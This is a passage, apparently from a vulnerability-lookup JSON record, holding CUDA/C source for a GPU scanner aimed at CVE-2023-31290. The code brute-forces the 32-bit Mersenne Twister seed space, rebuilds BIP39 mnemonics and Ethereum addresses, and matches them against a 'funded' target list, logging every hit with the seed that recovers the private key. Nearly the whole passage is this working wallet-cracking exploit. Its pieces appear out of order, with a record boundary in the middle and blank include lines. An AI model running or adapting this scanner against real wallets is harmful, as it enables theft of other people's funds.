key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:01:26.483307Z"}, {"uuid": "91a7d2dc-a124-41a3-8cfe-9d0302fed893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/bc95b714cf2b6e3c53d09b5dc7cabc69", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e-&gt;group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e-&gt;bn = BN_CTX_new();\n  e-&gt;order = BN_new();\n  e-&gt;k = BN_new();\n  e-&gt;t = BN_new();\n  e-&gt;P = e-&gt;group ? EC_POINT_new(e-&gt;group) : NULL;\n  if (!e-&gt;group || !e-&gt;bn || !e-&gt;order || !e-&gt;k || !e-&gt;t || !e-&gt;P) return -1;\n  return EC_GROUP_get_order(e-&gt;group, e-&gt;order, e-&gt;bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e-&gt;P) EC_POINT_free(e-&gt;P);\n  if (e-&gt;t) BN_free(e-&gt;t);\n  if (e-&gt;k) BN_free(e-&gt;k);\n  if (e-&gt;order) BN_free(e-&gt;order);\n  if (e-&gt;bn) BN_CTX_free(e-&gt;bn);\n  if (e-&gt;group) EC_GROUP_free(e-&gt;group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e-&gt;k)) return -1;\n  if (EC_POINT_mul(e-&gt;group, e-&gt;P, e-&gt;k, NULL, NULL, e-&gt;bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e-&gt;group, e-&gt;P, form, out, want, e-&gt;bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e-&gt;k) || !BN_bin2bn(il, 32, e-&gt;t)) return -1;\n  if (BN_is_zero(e-&gt;t) || BN_cmp(e-&gt;t, e-&gt;order) &gt;= 0) return -1;\n  if (BN_mod_add(e-&gt;k, e-&gt;k, e-&gt;t, e-&gt;order, e-&gt;bn) != 1) return -1;\n  if (BN_is_zero(e-&gt;k)) return -1;\n  return BN_bn2binpad(e-&gt;k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n  data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 